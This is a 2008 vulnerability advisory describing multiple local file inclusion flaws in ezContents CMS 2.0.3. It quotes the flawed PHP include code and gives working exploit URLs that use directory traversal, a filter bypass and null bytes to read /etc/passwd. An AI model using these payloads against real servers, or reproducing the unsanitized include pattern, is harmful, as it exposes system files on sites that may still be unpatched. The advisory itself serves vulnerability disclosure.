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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-038
Application: ezContents CMS
Versions Affected: 2.0.3
Application URL: http://www.ezcontents.org/
Vendor URL: http://www.visualshapers.com/
Bug: Multiple Local File Include
Exploits: YES
Reported: 05.08.2008
Second report: 18.08.2008
Vendor Response: NONE
Solution: NONE
Date of Public Advisory: 25.08.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
ezContents CMS has Multiple Local File Include vulnerabilities.
Details
*******
1. Local File Include vulnerability found in script /module.php
Vulnerable GET parameter "link".
First discovered by Zero_X [http://secunia.com/advisories/10604/].
Vendor fixed vulnerability in version 2.0.3 by adding verification for this parameter.
However, attacker still can include local files.
Code [line 32-42, 141-145]
--------------------------
#################################################
$GLOBALS["rootdp"] = './';
require_once ($GLOBALS["rootdp"]."include/config.php");
require_once ($GLOBALS["rootdp"]."include/db.php");
require_once ($GLOBALS["rootdp"]."include/session.php");
include_once ($GLOBALS["rootdp"].$GLOBALS["modules_home"]."modfunctions.php");
if ((!isset($HTTP_GET_VARS["ezSID"])) && (isset($HTTP_POST_VARS["ezSID"]))) $HTTP_GET_VARS["ezSID"] = $HTTP_POST_VARS["ezSID"];
if ((!isset($HTTP_GET_VARS["link"])) && (isset($HTTP_POST_VARS["link"]))) $HTTP_GET_VARS["link"] = $HTTP_POST_VARS["link"];
$HTTP_GET_VARS["link"] = str_replace('../', '', $HTTP_GET_VARS["link"]);
...
if (isExternalLink ($HTTP_GET_VARS["link"])) {
ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
} else {
include($GLOBALS["rootdp"].$HTTP_GET_VARS["link"]);
}
#################################################
isExternalLink() function in script /include/functions.php checks for remote inclusion attempts.
Code [line 768-779]
-------------------
#################################################
function isExternalLink ($linkref)
{
if ( (substr($linkref,0,5) == 'http:') || (substr($linkref,0,6) == 'https:') ||
(substr($linkref,0,5) == 'file:') || (substr($linkref,0,4) == 'ftp:') ||
(substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') ||
(substr($linkref,0,5) == 'news:') || (substr($linkref,0,7) == 'telnet:') ||
(substr($linkref,0,5) == 'wais:') ) {
return True;
} else {
return False;
}
} // isExternalLink
#################################################
Example:
http://[server]/[installdir]/module.php?link=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
2. Local File Include vulnerabilities found in scripts
/modules/diary/showdiary.php
/modules/diary/showeventlist.php
/modules/gallery/showgallery.php
/modules/reviews/showreviews.php
Successful exploitation requires that "register_globals" is enabled.
Code [showdiary.php, line 32-45]
--------------------------------
#################################################
global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
require_once('./modules/moduleSec.php');
} else {
require_once('../moduleSec.php');
}
$GLOBALS["ModuleName"] = 'diary';
if (!isset($GLOBALS["gsLanguage"])) { Header("Location: ".$GLOBALS["rootdp"]."module.php?link=".$GLOBALS["modules_home"].$GLOBALS["ModuleRef"]."/showdiary.php"); }
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");
#################################################
Script /modules/moduleSec.php checks for inclusion attempts.
Code
----
#################################################
function moduleExternalLink ($linkref)
{
if ($linkref != '') {
if ( (substr($linkref,0,5) == 'http:') || (substr($linkref,0,6) == 'https:') ||
(substr($linkref,0,5) == 'file:') || (substr($linkref,0,4) == 'ftp:') ||
(substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') ||
(substr($linkref,0,5) == 'news:') || (substr($linkref,0,7) == 'telnet:') ||
(substr($linkref,0,5) == 'wais:') ) {
return True;
} else {
return False;
}
} else {
return False;
}
} // moduleExternalLink
if (!(isset($GLOBALS["rootdp"]))) {
ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
DIE;
}
if ( (moduleExternalLink($GLOBALS["rootdp"])) || (moduleExternalLink($GLOBALS["modfiledir"])) ||
(moduleExternalLink($GLOBALS["modules_home"])) || (moduleExternalLink($GLOBALS["admin_home"])) ||
(moduleExternalLink($GLOBALS["language_home"])) ) {
ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
DIE;
}
#################################################
Example:
http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00
3. Local File Include vulnerabilities found in scripts
/modules/diary/showdiarydetail.php
/modules/gallery/showgallerydetails.php
/modules/reviews/showreviewsdetails.php
/modules/news/shownewsdetails.php
Successful exploitation requires that "register_globals" is enabled.
Code [showdiarydetail.php, line 32-46]
--------------------------------------
#################################################
global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
require_once('./modules/moduleSec.php');
} else {
require_once('../moduleSec.php');
}
$GLOBALS["ModuleName"] = 'diary';
include_once ($GLOBALS["admin_home"]."compile.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");
#################################################
Example:
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00
4. Local File Include vulnerabilities found in scripts
/modules/diary/submit_diary.php
/modules/gallery/submit_gallery.php
/modules/guestbook/submit_guestbook.php
/modules/reviews/submit_reviews.php
/modules/news/submit_news.php
Successful exploitation requires that "register_globals" is enabled.
Code [submit_diary.php, line 32-51]
-----------------------------------
#################################################
global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
require_once('./modules/moduleSec.php');
} else {
require_once('../moduleSec.php');
}
// Localisation variables (used for default values)
// Change these to suit your site preferences
//
$expiryperiod = 'm'; // Time period to calculate the banner expiry date (based on today's date)
$expirynumber = 1;
$GLOBALS["ModuleName"] = 'diary';
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");
#################################################
Example:
http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00
5. Local File Include vulnerabilities found in scripts
/modules/news/archivednews_summary.php
/modules/news/news_summary.php
Successful exploitation requires that "register_globals" is enabled.
Code [news_summary.php, line 32-41]
-----------------------------------
#################################################
global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
require_once('./modules/moduleSec.php');
} else {
require_once('../moduleSec.php');
}
include_once ($GLOBALS["admin_home"]."compile.php");
#################################################
Example:
http://[server]/[installdir]/modules/news/news_summary.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00
6. Local File Include vulnerabilities found in scripts
/modules/diary/inlineeventlist.php
/modules/news/inlinenews.php
Successful exploitation requires that "register_globals" is enabled.
Code [inlinenews.php, line 32-52]
---------------------------------
#################################################
global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
(substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
require_once('./modules/moduleSec.php');
} else {
require_once('../moduleSec.php');
}
global $EZ_SESSION_VARS;
$GLOBALS["ModuleName"] = 'news';
$linkref = $nLink;
$chainlink = explode('/',$linkref);
$modfilename = array_pop($chainlink);
$GLOBALS["modfiledir"] = implode('/',$chainlink);
include($GLOBALS["modfiledir"]."/moduleref.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");
#################################################
Example:
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&nLink=../../../../../../../../../../../../../etc/passwd%00/
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)